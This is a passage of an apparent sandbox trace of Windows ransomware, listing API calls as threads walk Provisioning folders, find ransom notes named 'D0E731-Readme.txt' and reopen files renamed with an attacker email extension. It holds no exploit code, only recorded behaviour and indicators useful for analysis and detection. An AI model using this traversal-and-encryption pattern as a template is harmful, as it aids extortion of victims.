ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0ef100, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.975] wcscmp (_String1="..", _String2=".") returned 1 [0174.975] wcscmp (_String1="..", _String2="..") returned 0 [0174.975] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c115347, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c115347, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c115347, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.975] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.975] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.976] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c70b03c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c70b03c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.976] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.976] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.976] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b6b0 [0174.976] wcscpy (in: _Dest=0x4f0b6b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0174.976] wcscat (in: _Dest=0x4f0b6b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0174.976] wcscat (in: _Dest=0x4f0b6b0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0175.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0175.526] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.526] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.527] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d2c8 [0175.527] wcscpy (in: _Dest=0x305d2c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0175.527] wcscat (in: _Dest=0x305d2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0175.527] wcscat (in: _Dest=0x305d2c8, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0175.527] FindNextFileW (in: hFindFile=0x3045368, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0ef100, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.527] FindClose (in: hFindFile=0x3045368 | out: hFindFile=0x3045368) returned 1 [0175.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a728) returned 1 [0175.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83680) returned 1 [0175.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055360) returned 1 [0175.528] RtlExitUserThread (Status=0x0) Thread: id = 2341 os_tid = 0xe94 [0174.976] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.977] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.977] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f900c8) returned 1 [0174.978] RtlExitUserThread (Status=0x0) Thread: id = 2342 os_tid = 0xe98 [0174.980] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.981] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ce68) returned 1 [0174.981] RtlExitUserThread (Status=0x0) Thread: id = 2343 os_tid = 0xe9c [0174.982] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83738 [0174.982] wcscpy (in: _Dest=0x2f83738, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0174.983] wcscat (in: _Dest=0x2f83738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0174.983] wcscat (in: _Dest=0x2f83738, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*" [0174.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a990 [0174.983] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8be6688a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30453a8 [0174.983] wcscmp (_String1=".", _String2=".") returned 0 [0174.983] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8be6688a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.983] wcscmp (_String1="..", _String2=".") returned 1 [0174.983] wcscmp (_String1="..", _String2="..") returned 0 [0174.983] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8be6688a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8be6688a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.983] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.983] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.983] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cd272dc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cd272dc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.983] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.983] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0a968 [0174.983] wcscpy (in: _Dest=0x4f0a968, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0174.983] wcscat (in: _Dest=0x4f0a968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0174.983] wcscat (in: _Dest=0x4f0a968, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0175.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0a968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0175.524] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.524] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.524] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d1b0 [0175.524] wcscpy (in: _Dest=0x305d1b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov" [0175.524] wcscat (in: _Dest=0x305d1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0175.524] wcscat (in: _Dest=0x305d1b0, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0175.525] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.525] FindClose (in: hFindFile=0x30453a8 | out: hFindFile=0x30453a8) returned 1 [0175.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a990) returned 1 [0175.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83738) returned 1 [0175.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055418) returned 1 [0175.525] RtlExitUserThread (Status=0x0) Thread: id = 2344 os_tid = 0xf00 [0174.984] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.985] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.985] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.985] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ffb0) returned 1 [0174.985] RtlExitUserThread (Status=0x0) Thread: id = 2345 os_tid = 0xf04 [0174.986] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.986] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.987] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.987] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d1b0) returned 1 [0174.987] RtlExitUserThread (Status=0x0) Thread: id = 2346 os_tid = 0xf08 [0174.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f837f0 [0174.988] wcscpy (in: _Dest=0x2f837f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0174.988] wcscat (in: _Dest=0x2f837f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0174.988] wcscat (in: _Dest=0x2f837f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*" [0174.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0174.988] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb1f6d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30453e8 [0174.989] wcscmp (_String1=".", _String2=".") returned 0 [0174.989] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb1f6d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.989] wcscmp (_String1="..", _String2=".") returned 1 [0174.989] wcscmp (_String1="..", _String2="..") returned 0 [0174.989] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb1f6d5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bb1f6d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.989] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.989] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.989] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ccb4935, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ccb4935, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.989] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.989] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0abc0 [0174.990] wcscpy (in: _Dest=0x4f0abc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0174.990] wcscat (in: _Dest=0x4f0abc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0174.990] wcscat (in: _Dest=0x4f0abc0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0175.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0abc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0175.521] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, 